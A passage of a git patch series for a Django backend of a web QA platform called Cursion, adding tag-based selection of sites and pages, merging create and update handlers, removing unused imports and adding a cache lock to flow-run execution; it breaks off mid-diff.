     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -6878,11 +6910,9 @@ def get_secret(request: object=None, id: str=None) -> object:
     secrets = Secret.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = SecretSerializer(secrets, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = SecretSerializer(secrets, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -7232,8 +7262,7 @@ def get_processes(request: object=None) -> object:
         process = Process.objects.get(id=process_id)
         
         # serialize and return
-        serializer_context = {'request': request}
-        data = ProcessSerializer(process, context=serializer_context).data
+        data = ProcessSerializer(process, context={'request': request}).data
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
         return response
@@ -7260,8 +7289,7 @@ def get_processes(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(processes, request)
-    serializer_context = {'request': request}
-    serialized = ProcessSerializer(result_page, many=True, context=serializer_context)
+    serialized = ProcessSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -7300,11 +7328,9 @@ def get_process(request: object=None, id: str=None) -> object:
     process = Process.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = ProcessSerializer(process, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = ProcessSerializer(process, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -7403,8 +7429,7 @@ def get_logs(request: object=None) -> object:
         log = Log.objects.get(id=log_id)
         
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = LogSerializer(log, context=serializer_context)
+        serialized = LogSerializer(log, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -7422,8 +7447,7 @@ def get_logs(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(logs, request)
-    serializer_context = {'request': request}
-    serialized = LogSerializer(result_page, many=True, context=serializer_context)
+    serialized = LogSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     return response
 
@@ -7461,11 +7485,9 @@ def get_log(request: object=None, id: str=None) -> object:
     log = Log.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = LogSerializer(log, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = LogSerializer(log, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -8067,8 +8089,7 @@ def migrate_site(request: object=None) -> object:
     )
     
     # serialize and return
-    serializer_context = {'request': request}
-    data = ProcessSerializer(process, context=serializer_context).data
+    data = ProcessSerializer(process, context={'request': request}).data
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
     return response

From 0db54a26f2ede95186e6e232ab3d2fce99c38940 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 13 Mar 2026 12:25:08 -0500
Subject: [PATCH 1089/1099] feat: new `tags` handler for `Sites` & `Pages` --
 used by `Schedules`

---
 app/api/models.py             |   1 +
 app/api/tasks.py              | 107 ++++++++++++++++++++++++----
 app/api/v1/ops/serializers.py |   2 +-
 app/api/v1/ops/services.py    | 130 +++++++++++++++++++++++++++++-----
 app/api/v1/ops/urls.py        |   1 +
 app/api/v1/ops/views.py       |  25 +++----
 6 files changed, 223 insertions(+), 43 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index fd0397ad..dee5d690 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -647,6 +647,7 @@ class Schedule(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     scope = models.CharField(max_length=100, default='account', serialize=True)
     resources = models.JSONField(serialize=True, null=True, blank=True)
+    tags = models.JSONField(serialize=True, null=True, blank=True)
     alert = models.ForeignKey('Alert', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_alert')
     time_created = models.DateTimeField(default=timezone.now, null=True, blank=True, serialize=True)
     time_last_run = models.DateTimeField(null=True, blank=True, serialize=True)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index c33d5efa..e4648c78 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -591,6 +591,7 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
                 site=site,
                 page_url=url,
                 user=site.user,
+                tags=[],
                 account=site.account,
             )
 
@@ -968,6 +969,7 @@ def create_scan_bg(self, **kwargs) -> None:
     Args:
         'scope'         : str
         'resources'     : list
+        'tags'          : list
         'account_id'    : strx
         'type'          : list,
         'configs'       : dict,
@@ -982,11 +984,11 @@ def create_scan_bg(self, **kwargs) -> None:
 
     # get data from kwargs
     scope = kwargs.get('scope')
-    resources = kwargs.get('resources')
+    resources = kwargs.get('resources', [])
+    tags = kwargs.get('tags', [])
     account_id = kwargs.get('account_id')
     type = kwargs.get('type')
     configs = kwargs.get('configs')
-    tags = kwargs.get('tags')
     alert_id = kwargs.get('alert_id')
     task_id = kwargs.get('task_id')
     flowrun_id = kwargs.get('flowrun_id')
@@ -1040,15 +1042,32 @@ def create_scan_bg(self, **kwargs) -> None:
                         ) 
                     except Exception as e:
                         logger.warning(e)
+
+        # iterating through tags 
+        # and adding to sites or pages
+        if len(tags) > 0:
+            for tag in tags:
+                
+                # adding to pages
+                try:
+                    pages += Page.objects.filter(tags__contains=[tag])
+                except Exception as e:
+                    logger.warning(e)
+                
+                # adding to sites
+                try:
+                    sites += Site.objects.filter(tags__contains=[tag])
+                except Exception as e:
+                    logger.warning(e)
         
         # grabbing all sites because no 
-        # resources were specified and scope is "account"
-        if len(resources) == 0 and scope == 'account':
+        # resources/tags were specified and scope is "account"
+        if len(resources) == 0 and len(tags) == 0 and scope == 'account':
             sites = Site.objects.filter(account=account)
 
         # get all pages from existing sites
         for site in sites:
-            pages += Page.objects.filter(site=site)
+            pages += Page.objects.filter(site=site).exclude(id__in=[str(p.id) for p in pages])
 
         # creating scans for each page
         for page in pages:
@@ -1830,11 +1849,11 @@ def create_test_bg(self, **kwargs) -> None:
     Args:
         scope         : str
         resources     : list
+        tags          : list
         account_id    : str
         test_id       : str
         type          : list
         configs       : dict
-        tags          : list
         alert_id      : str
         pre_scan      : str
         post_scan     : str
@@ -1849,11 +1868,11 @@ def create_test_bg(self, **kwargs) -> None:
     # get data
     scope = kwargs.get('scope')
     resources = kwargs.get('resources', [])
+    tags = kwargs.get('tags', [])
     account_id = kwargs.get('account_id')
     test_id = kwargs.get('test_id')
     type = kwargs.get('type')
     configs = kwargs.get('configs')
-    tags = kwargs.get('tags')
     threshold = kwargs.get('threshold')
     alert_id = kwargs.get('alert_id')
     pre_scan = kwargs.get('pre_scan')
@@ -1915,6 +1934,23 @@ def create_test_bg(self, **kwargs) -> None:
                         except Exception as e:
                             logger.info(e)
             
+            # iterating through tags 
+            # and adding to sites or pages
+            if len(tags) > 0:
+                for tag in tags:
+                    
+                    # adding to pages
+                    try:
+                        pages += Page.objects.filter(tags__contains=[tag])
+                    except Exception as e:
+                        logger.warning(e)
+                    
+                    # adding to sites
+                    try:
+                        sites += Site.objects.filter(tags__contains=[tag])
+                    except Exception as e:
+                        logger.warning(e)
+            
             # grabbing all sites because no 
             # resources were specified and scope is "account"
             if len(resources) == 0 and scope == 'account':
@@ -1922,7 +1958,7 @@ def create_test_bg(self, **kwargs) -> None:
 
             # get all pages from existing sites
             for site in sites:
-                pages += Page.objects.filter(site=site)
+                pages += Page.objects.filter(site=site).exclude(id__in=[str(p.id) for p in pages])
             
             # create a test for each page
             for page in pages:
@@ -2108,7 +2144,8 @@ def create_report_bg(**kwargs) -> None:
 
     Args:
         'scope'         : str,
-        'resources'     : str
+        'resources'     : list
+        'tags'          : list
         'account_id'    : str
         'alert_id'      : str
         'task_id'       : str
@@ -2122,6 +2159,7 @@ def create_report_bg(**kwargs) -> None:
     # get data
     scope = kwargs.get('scope')
     resources = kwargs.get('resources', [])
+    tags = kwargs.get('tags', [])
     account_id = kwargs.get('account_id')
     alert_id = kwargs.get('alert_id')
     task_id = kwargs.get('task_id')
@@ -2173,6 +2211,23 @@ def create_report_bg(**kwargs) -> None:
                         ) 
                     except Exception as e:
                         logger.warning(e)
+
+        # iterating through tags 
+        # and adding to sites or pages
+        if len(tags) > 0:
+            for tag in tags:
+                
+                # adding to pages
+                try:
+                    pages += Page.objects.filter(tags__contains=[tag])
+                except Exception as e:
+                    logger.warning(e)
+                
+                # adding to sites
+                try:
+                    sites += Site.objects.filter(tags__contains=[tag])
+                except Exception as e:
+                    logger.warning(e)
         
         # grabbing all sites because no 
         # resources were specified and scope is "account"
@@ -2181,7 +2236,7 @@ def create_report_bg(**kwargs) -> None:
 
         # get all pages from existing sites
         for site in sites:
-            pages += Page.objects.filter(site=site)
+            pages += Page.objects.filter(site=site).exclude(id__in=[str(p.id) for p in pages])
 
         # record objects for each report
         for page in pages:
@@ -2383,6 +2438,7 @@ def create_caserun_bg(**kwargs) -> None:
     Args:
         caserun_id    : str, 
         resources     : list, 
+        tags          : list, 
         scope         : str, 
         account_id    : str, 
         case_id       : str, 
@@ -2401,6 +2457,7 @@ def create_caserun_bg(**kwargs) -> None:
     case_id = kwargs.get('case_id')
     account_id = kwargs.get('account_id')
     resources = kwargs.get('resources', [])
+    tags = kwargs.get('tags', [])
     scope = kwargs.get('scope')
     updates = kwargs.get('updates')
     alert_id = kwargs.get('alert_id')
@@ -2474,6 +2531,17 @@ def create_caserun_bg(**kwargs) -> None:
                         )
                     except Exception as e:
                         logger.warning(e)
+
+            # iterating through tags 
+            # and adding to sites
+            if len(tags) > 0:
+                for tag in tags:
+                
+                    # adding to sites
+                    try:
+                        sites += Site.objects.filter(tags__contains=[tag])
+                    except Exception as e:
+                        logger.warning(e)
             
             # add all sites in account if scope == 'account'
             if scope == 'account' and len(resources) == 0:
@@ -2559,6 +2627,7 @@ def create_flowrun_bg(**kwargs) -> None:
     Args:
         flow_id       : str, 
         resources     : list, 
+        tags          : list, 
         scope         : str, 
         account_id    : str, 
         alert_id      : str,
@@ -2572,6 +2641,7 @@ def create_flowrun_bg(**kwargs) -> None:
     flow_id     = kwargs.get('flow_id')
     account_id  = kwargs.get('account_id')
     resources   = kwargs.get('resources', [])
+    tags        = kwargs.get('tags', [])
     scope       = kwargs.get('scope')
     alert_id    = kwargs.get('alert_id')
     task_id     = kwargs.get('task_id')
@@ -2610,6 +2680,17 @@ def create_flowrun_bg(**kwargs) -> None:
                 except Exception as e:
                     logger.info(e)
         
+        # iterating through tags 
+        # and adding to sites
+        if len(tags) > 0:
+            for tag in tags:
+            
+                # adding to sites
+                try:
+                    sites += Site.objects.filter(tags__contains=[tag])
+                except Exception as e:
+                    logger.warning(e)
+        
         # add all sites in account if scope == 'account'
         if scope == 'account' and len(resources) == 0:
             sites = Site.objects.filter(account__id=account_id)
@@ -2647,7 +2728,7 @@ def create_flowrun_bg(**kwargs) -> None:
                 },]
 
                 # create flowrun
-                flowrun = FlowRun.objects.create(
+                FlowRun.objects.create(
                     id      = flowrun_id,
                     flow    = flow,
                     user    = flow.user,
@@ -3147,8 +3228,8 @@ def reset_usage(account):
             except stripe.error.StripeError as e:
                 logger.info(f'Stripe error for account {account.id}: {e}')
 
-        # reset free account
-        elif account.type == 'free':
+        # reset free & selfhost accounts
+        elif account.type in ['free', 'selfhost']:
             if not last_reset or (today - last_reset).days >= 30:
                 needs_reset = True
 
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index d7fece87..c24b9286 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -183,7 +183,7 @@ class Meta:
         fields = ['id', 'time_created', 'user', 'task_type',
         'timezone', 'begin_date', 'time', 'frequency', 'task', 'crontab_id',
         'periodic_task_id', 'status', 'alert', 'extras', 'account', 
-        'scope', 'resources', 'time_last_run',
+        'scope', 'resources', 'tags', 'time_last_run',
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index db37a3b5..737ea16f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -410,7 +410,7 @@ def retry_failed_tasks(request: object=None) -> object:
 
 
 
-def create_site(request: object=None) -> object:
+def create_or_update_site(request: object=None) -> object:
     """ 
     Creates a new `Site`, initiates a Crawl, initial `Scans` 
     for each added `Page`, and generates new `Cases`. 
@@ -423,6 +423,7 @@ def create_site(request: object=None) -> object:
     """
 
     # getting data
+    site_id = request.data.get('site_id')
     site_url = request.data.get('site_url')
     page_urls = request.data.get('page_urls')
     onboarding = request.data.get('onboarding', None)
@@ -446,22 +447,39 @@ def create_site(request: object=None) -> object:
             onboarding = False
 
     # clean & check site url
-    if site_url.endswith('/'):
-        site_url = site_url.rstrip('/')
-    if site_url is None or site_url == '':
+    if (site_url is None or site_url == '') and not site_id:
         data = {'reason': 'the site_url cannot be empty'}
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
+    if site_url:
+        if site_url.endswith('/'):
+            site_url = site_url.rstrip('/')
 
     # check account and resource
     check_data = check_permissions_and_usage(
-        member=member, resource='site', action='add',
-        url=site_url
+        member=member, resource='site', 
+        action='update' if site_id else 'add',
+        url=site_url, id=site_id
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
+    
+    # update site if site_id passed
+    if site_id:
+        
+        # get site & update data
+        site = Site.objects.get(id=site_id)
+        if tags is not None:
+            site.tags = tags
+        site.save()
+
+        # serialize response and return
+        serialized = SiteSerializer(site, context={'request': request})
+        record_api_call(request, serialized.data, '200')
+        response = Response(serialized.data, status=status.HTTP_200_OK)
+        return response
 
     # creating site if checks passed
     site = Site.objects.create(
@@ -942,7 +960,7 @@ def get_sites_zapier(request: object=None) -> object:
 
 
 
-def create_page(request: object=None) -> object:
+def create_or_update_page(request: object=None) -> object:
     """ 
     Creates one or more pages.
 
@@ -955,6 +973,7 @@ def create_page(request: object=None) -> object:
 
     # getting request data
     site_id = request.data.get('site_id')
+    page_id = request.data.get('page_id')
     page_url = request.data.get('page_url')
     page_urls = request.data.get('page_urls')
     tags = request.data.get('tags', None)
@@ -965,7 +984,6 @@ def create_page(request: object=None) -> object:
     user = request.user
     member = Member.objects.get(user=user)
     account = member.account
-    site = Site.objects.get(id=site_id)
 
     # updating configs if None:
     configs = account.configs if configs == None else configs
@@ -980,22 +998,42 @@ def create_page(request: object=None) -> object:
         return response
     
     # validating page_url
-    if page_url.endswith('/'):
-        page_url = page_url.rstrip('/')
-    if page_url is None or page_url == '':
+    if (page_url is None or page_url == '') and not page_id:
         data = {'reason': 'the page_url cannot be empty'}
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
+    if page_url:
+        if page_url.endswith('/'):
+            page_url = page_url.rstrip('/')
 
     # check account and resource
     check_data = check_permissions_and_usage(
-        member=member, resource='page', action='add', 
-        id=site_id, id_type='site', url=page_url,
+        member=member, resource='page', action='add' if site_id else 'update', 
+        id=site_id if site_id else page_id, 
+        id_type='site' if site_id else 'page', url=page_url,
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
+    
+    # update page if page_id passed
+    if page_id:
+        
+        # get page & update data
+        page = Page.objects.get(id=page_id)
+        if tags is not None:
+            page.tags = tags
+        page.save()
+
+        # serialize response and return
+        serialized = PageSerializer(page, context={'request': request})
+        record_api_call(request, serialized.data, '200')
+        response = Response(serialized.data, status=status.HTTP_200_OK)
+        return response
+    
+    # get site
+    site = Site.objects.get(id=site_id)
 
     # adding page if checks passed
     page = Page.objects.create(
@@ -3675,6 +3713,7 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
         threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
         schedule_id = request.data.get('schedule_id')
         resources = request.data.get('resources')
+        tags = request.data.get('tags')
         scope = request.data.get('scope')
         case_id = request.data.get('case_id')
         flow_id = request.data.get('flow_id')
@@ -3693,6 +3732,7 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
         threshold = kwargs.get('threshold', settings.TEST_THRESHOLD)
         schedule_id = kwargs.get('schedule_id')
         resources = kwargs.get('resources')
+        tags = kwargs.get('tags')
         scope = kwargs.get('scope')
         case_id = kwargs.get('case_id')
         flow_id = kwargs.get('flow_id')
@@ -3700,7 +3740,6 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
         user_id = kwargs.get('user_id')
         user = User.objects.get(id=user_id)
         
-
     # get account
     member = Member.objects.get(user=user)
     account = member.account
@@ -3760,6 +3799,7 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
         arguments = {
             'scope': scope,
             'resources': resources,
+            'tags': tags,
             'account_id': str(account.id),
             'updates': updates,
             'configs': configs,
@@ -3906,6 +3946,8 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
                 schedule.extras = extras 
             if resources is not None:
                 schedule.resources = resources
+            if tags is not None:
+                schedule.tags = tags
             
             # save udpdates
             schedule.save()
@@ -3915,7 +3957,8 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
             schedule = Schedule.objects.create(
                 user=request.user, 
                 scope=scope,
-                resources=resources, 
+                resources=resources,
+                tags=tags, 
                 task_type=task_type, 
                 timezone=timezone,
                 begin_date=begin_date, 
@@ -4020,9 +4063,10 @@ def run_schedule(request: object=None) -> object:
 
     Args:
         requests: object
-    } 
 
-    Return -> HTTP Response object
+
+    Returns:
+        Response
     """
 
     # get request data
@@ -7656,6 +7700,58 @@ def search_resources(request: object=None) -> object:
 
 
 
+def get_tags(request: object=None) -> object:
+    """ 
+    Retrieves a list of all "Tags" assciated with any object in 
+    user's account
+    
+    Expects:
+        None
+
+    Returns:
+        HTTP Response object
+    """
+
+    # getting account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # default
+    tags = []
+    pages = []
+    all = []
+
+    # get all site & pages
+    sites = Site.objects.filter(account=account)
+
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites', [])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        sites = sites.filter(id__in=id_list)
+
+    # get all pages
+    for site in sites:
+        pages += Page.objects.filter(site=site)
+
+    # group as one -- super slow!!! fix at somepoint
+    all = list(sites) + pages
+    for i in all:
+        for tag in i.tags:
+            tags.append(tag)
+    
+    # format data
+    data = {
+        'tags': list(set(tags))
+    }
+
+    # return response
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 def get_devices(request: object=None) -> object:
     """ 
     Retrieves a list of all Cursion "devices"
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 1bfd1fac..d9c9057f 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -72,6 +72,7 @@
     path('log/<uuid:id>', views.LogDetail.as_view(), name='log-detail'),
     path('search', views.Search.as_view(), name='search'),
     path('device', views.Device.as_view(), name='device'),
+    path('tag', views.Tag.as_view(), name='tag'),
     path('metrics/home', views.HomeMetrics.as_view(), name='home-metrics'),
     path('metrics/site', views.SiteMetrics.as_view(), name='site-metrics'),
     path('metrics/page', views.PageMetrics.as_view(), name='page-metrics'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index a9a9c7d3..4f19ad8e 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -1,17 +1,7 @@
-from django.shortcuts import render
-from rest_framework.response import Response
-from rest_framework import status
-from django.contrib.auth.models import User
-from django.shortcuts import get_object_or_404
 from ...models import *
-from django.urls import path, include
-from rest_framework import routers, serializers, viewsets
-from rest_framework.viewsets import ViewSet
 from rest_framework.permissions import AllowAny, IsAuthenticated
 from rest_framework.views import APIView
-from django.views.decorators.csrf import ensure_csrf_cookie
 from rest_framework.pagination import LimitOffsetPagination
-from django.urls import resolve
 from .serializers import *
 from .services import *
 
@@ -47,7 +37,7 @@ class Sites(APIView):
     pagination_class = LimitOffsetPagination
 
     def post(self, request):
-        response = create_site(request)
+        response = create_or_update_site(request)
         return response
 
     def get(self, request):
@@ -116,7 +106,7 @@ class Pages(APIView):
     pagination_class = LimitOffsetPagination
 
     def post(self, request):
-        response = create_page(request)
+        response = create_or_update_page(request)
         return response
 
     def get(self, request):
@@ -990,6 +980,17 @@ def get(self, request):
 
 
 
+class Tag(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get',]
+
+    def get(self, request):
+        response = get_tags(request)
+        return response
+
+
+
+
 class Device(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]

From 7a046b542a0d5f44de66ae4ad032fd985f568ed4 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 13 Mar 2026 12:25:27 -0500
Subject: [PATCH 1090/1099] routine: cleaning out unused imports

---
 app/api/v1/auth/services.py | 9 ++++-----
 app/api/v1/auth/urls.py     | 5 +----
 app/api/v1/auth/views.py    | 9 ++-------
 3 files changed, 7 insertions(+), 16 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index d917d09b..8447367c 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -2,7 +2,6 @@
 
 from django.core.exceptions import ValidationError
 from django.contrib.auth.models import User
-from django.contrib.auth.middleware import get_user
 from django.contrib.auth.password_validation import validate_password
 from django.shortcuts import get_object_or_404
 from django.utils import timezone
@@ -10,19 +9,19 @@
 from rest_framework.authtoken.models import Token
 from rest_framework.response import Response
 from rest_framework.pagination import LimitOffsetPagination
-from rest_framework import status, serializers
+from rest_framework import status
 from rest_framework_simplejwt.tokens import RefreshToken
 from slack_sdk.oauth import AuthorizeUrlGenerator
-from slack_sdk.oauth.installation_store import FileInstallationStore, Installation
+from slack_sdk.oauth.installation_store import FileInstallationStore
 from slack_sdk.oauth.state_store import FileOAuthStateStore
 from slack_sdk.web import WebClient
-from ...models import Account, Card, Member, Site, get_permissions_default
+from ...models import Account, Member, Site, get_permissions_default
 from ..ops.services import record_api_call
 from .serializers import *
 from ...utils.alerts import send_reset_link
 from ...tasks import send_invite_link_bg, send_remove_alert_bg, create_prospect
 from cursion import settings
-import requests, os, subprocess, secrets, sys, signal
+import requests, os, secrets, signal
 
 
 
diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py
index e3dd12d1..336e7d06 100644
--- a/app/api/v1/auth/urls.py
+++ b/app/api/v1/auth/urls.py
@@ -1,10 +1,7 @@
 from django.urls import path, include
 from . import views as views
 from rest_framework.authtoken.views import obtain_auth_token 
-from rest_framework import (
-    routers, serializers, viewsets, 
-)
-
+from rest_framework import routers
 
 
 
diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index b490436d..4441e371 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -1,17 +1,12 @@
 from rest_framework.response import Response
 from rest_framework_simplejwt.views import TokenRefreshView
-from rest_framework.viewsets import ModelViewSet, ViewSet
+from rest_framework.viewsets import ViewSet
 from rest_framework.permissions import AllowAny, IsAuthenticated
 from rest_framework.views import APIView
-from rest_framework import status, serializers
+from rest_framework import status
 from rest_framework_simplejwt.exceptions import TokenError, InvalidToken
 from django.shortcuts import redirect
-from django.contrib.auth.models import User
-from datetime import timedelta, datetime
-from ...models import Account, Member
-from cursion import settings
 from .services import *
-import os, stripe, json
 
 
 

From 55e43ab89ff91e2e2ca4f57f7a6085149d481f2d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 13 Mar 2026 12:48:58 -0500
Subject: [PATCH 1091/1099] fix: temp removal of docs ref in `Agent`

---
 app/api/utils/agent.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/agent.py b/app/api/utils/agent.py
index ef2b858b..e30cab39 100644
--- a/app/api/utils/agent.py
+++ b/app/api/utils/agent.py
@@ -65,7 +65,7 @@ def respond(self) -> object:
         input_string = (
             'BACKGROUND CONTEXT:\n'
             'You are a Software Quality Assurance Engineer.\n'
-            'Please reference https://docs.cursion.dev for documentation about the Cursion Platform.\n'
+            # 'Please reference https://docs.cursion.dev for documentation about the Cursion Platform.\n'
             'If necessary, call Cursion MCP tools to complete the task.\n'
             'If responding with `Site`, `Page`, `Scan`, `Test`, `Case`, `CaseRun`, `Flow`, or `FlowRun` objects, ' 
             'include their URL formatted like so: '
@@ -83,11 +83,11 @@ def respond(self) -> object:
             model='gpt-5-mini',
             input=input_string,
             tools=[{
-                'type': 'mcp',
-                'server_label': 'cursion-mcp',
-                'server_url': mcp_url,
-                'require_approval': 'never',
-                'authorization': f'Token {token_obj.key}'
+                'type'              : 'mcp',
+                'server_label'      : 'cursion-mcp',
+                'server_url'        : mcp_url,
+                'require_approval'  : 'never',
+                'authorization'     : f'Token {token_obj.key}'
             }]
         )
 

From 528189bf6f202eb5bf1f111b31c78601aea7c07a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 Apr 2026 13:40:33 -0500
Subject: [PATCH 1092/1099] fix: data mutation bug & explicit task calling for
 FlowRuns

---
 app/api/signals.py       |   3 +-
 app/api/utils/flowr.py   | 501 ++++++++++++++++++++++-----------------
 app/api/utils/updater.py |  13 +-
 3 files changed, 297 insertions(+), 220 deletions(-)

diff --git a/app/api/signals.py b/app/api/signals.py
index 69246ecd..445b9a88 100644
--- a/app/api/signals.py
+++ b/app/api/signals.py
@@ -23,7 +23,8 @@ def flowrun_created(sender, instance, created, **kwargs):
     if settings.LOCATION == 'us':
 
         # init Flowr & execute run_next()
-        Flowr(flowrun_id=str(flowrun.id)).run_next()
+        if created:
+            Flowr(flowrun_id=str(flowrun.id)).run_next()
 
     # return None
     return None
diff --git a/app/api/utils/flowr.py b/app/api/utils/flowr.py
index ca617ff3..8f2c6411 100644
--- a/app/api/utils/flowr.py
+++ b/app/api/utils/flowr.py
@@ -8,8 +8,9 @@
     send_slack_bg, send_webhook_bg
 )
 from django.utils import timezone
+from django.core.cache import cache
 from datetime import datetime
-import time, uuid, uuid, random
+import time, uuid, random
 
 
 
@@ -189,7 +190,6 @@ def get_edges_by_source(self, source: str=None) -> dict:
 
         Args:
             'source': str
-        }
 
         Returns: [{
             'index': str,
@@ -219,12 +219,10 @@ def get_node_by_id(self, id: str=None) -> dict:
 
         Args:
             'id': str
-        }
 
         Returns:
             'index': str,
             'node': dict
-        }
         """
 
         # find node by id
@@ -248,9 +246,9 @@ def objects_are_complete(self, object_list: list=[]) -> bool:
 
         Args:
             'object_list': list
-        }
 
-        Returns: bool
+        Returns:
+            bool
         """
         if len(object_list) == 0:
             return True
@@ -268,10 +266,11 @@ def check_all_working_nodes(self, ignore_ids: list=[]) -> None:
         if node is `working` and all obj.time_complete 
         are not None: update node & edge with status.'passed'
 
-        Expects: 
-            "ignore_ids": list of node.ids to ignore
+        Args:
+            ignore_ids: `node.ids` to ignore
 
-        Returns: None
+        Returns:
+            None
         """
         # get fresh flowrun obj
         flowrun = FlowRun.objects.get(id=self.flowrun_id)
@@ -365,7 +364,6 @@ def finalize_node(self, index: int=None) -> None:
 
         Args:
             'index': int
-        }
 
         Returns: None
         """
@@ -389,9 +387,9 @@ def complete_flowrun(self, current_data: dict=None) -> None:
 
         Args:
             'current_data': dict
-        }
 
-        Returns: `FlowRun` object
+        Returns:
+            `FlowRun` object
         """
         
         # defaults
@@ -462,236 +460,311 @@ def run_next(self) -> None:
         Checks for the next step and executes 
         if current step has completed.
 
-        Expects: None
+        Args:
+            None
 
-        Returns: `FlowRun` object
+        Returns:
+            `FlowRun` object
         """
 
-        # check if flowrun is complete
-        if self.flowrun.time_completed:
-            # return early 
-            print('flowrun is complete')
+        # cache lookup/lock 
+        lock_key    = f'flowr:run_next:{self.flowrun_id}'
+        pending_key = f'{lock_key}:pending'
+        lock_ttl    = 300 # increased from 90 sec
+        lock_id     = str(uuid.uuid4())
+
+        # single run per flowrun_id
+        if not cache.add(lock_key, lock_id, timeout=lock_ttl):
+            print('[FLOWRUN] no cache lock available')
+            cache.set(pending_key, '1', timeout=lock_ttl)
             return self.flowrun
+        
+        try:
+            # get fresh flowrun
+            self.flowrun = FlowRun.objects.get(id=self.flowrun_id)
+
+            # check if flowrun is complete
+            if self.flowrun.time_completed:
+                # return early 
+                print('flowrun is complete')
+                return self.flowrun
 
+            # get last completed node or None
+            current_data = self.get_current_step()
 
-        # get last completed node or None
-        current_data = self.get_current_step()
+            # check if FlowRun is just starting
+            if current_data['node'] is None and \
+                self.flowrun.nodes[0]['data']['status'] == 'queued':
+                
+                # create step_data for first step
+                step_data = {
+                    'index': 0,
+                    'node': self.flowrun.nodes[0]
+                }
+                
+                # create alert obj if needed for first job
+                alert_obj = {
+                    'parent': str(self.flowrun_id),
+                    'id': str(self.flowrun_id),
+                    'status': 'working'
+                }
+                objs = [alert_obj,] if step_data['node']['data']['task_type'] in self.alert_types else []
 
+                # catch empty task_type
+                if not step_data['node']['data']['task_type']:
+                    self.complete_flowrun(current_data=step_data)
+                    return self.flowrun
 
-        # check if FlowRun is just starting
